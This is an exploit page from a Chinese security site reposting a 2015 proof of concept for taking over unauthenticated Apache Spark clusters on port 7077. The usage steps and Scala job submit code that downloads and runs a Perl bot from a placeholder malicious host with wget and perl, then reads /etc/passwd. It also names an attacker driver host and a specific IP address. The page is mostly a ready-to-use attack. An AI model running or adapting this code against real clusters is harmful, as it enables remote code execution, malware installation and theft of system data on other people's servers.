首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Spark Cluster Arbitary Code Execution Exploit
来源:http://codebreach.in/blog 作者:akhld 发布时间:2015-03-30  

Description:
# Spark clusters which are not secured with proper firewall can be taken over easily (Since it does not have
# any authentication mechanism), this exploit simply runs arbitrary codes over the cluster.
# All you have to do is, find a vulnerable Spark cluster (usually runs on port 7077) add that host to your
# hosts list so that your system will recognize it (here its spark-b-akhil-master pointing
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary codes that you want to execute.

Usage info:
git clone https://github.com/akhld/spark-exploit.git
cd spark-exploit
#Place the vuln host info in the file
vim exploit.scala
sbt run

 

import org.apache.spark.{SparkContext, SparkConf}
  
    /**
     * Created by akhld on 23/3/15.
     */
  
    object Exploit {
      def main(arg: Array[String]) {
        val sconf = new SparkConf()
          .setMaster("spark://spark-b-akhil-master:7077") // Set this to the vulnerable URI
          .setAppName("Exploit")
          .set("spark.cores.max", "12")
          .set("spark.executor.memory", "10g")
          .set("spark.driver.host","hacked.work") // Set this to your host from where you launch the attack
  
        val sc = new SparkContext(sconf)
              sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")
  
        val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
               val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })
        exploit.collect().foreach(println)
      }
    }
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ImpREC v1.7e Buffer Overflow E
·Fedora21 setroubleshootd Local
·Internet Download Manager 6.20
·BZR Player 1.03 - DLL Hijackin
·Free MP3 CD Ripper 2.6 - Local
·ZIP Password Recovery Professi
·WebGate WinRDS 2.0.8 StopSiteA
·HTTrack Website Copier 3.48-21
·WebGate Control Center 4.8.7 G
·UltraISO 9.6.2.3059 - DLL Hija
·WebGate eDVR Manager 2.6.4 Sit
·HTTrack Website Copier 3.48-21
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved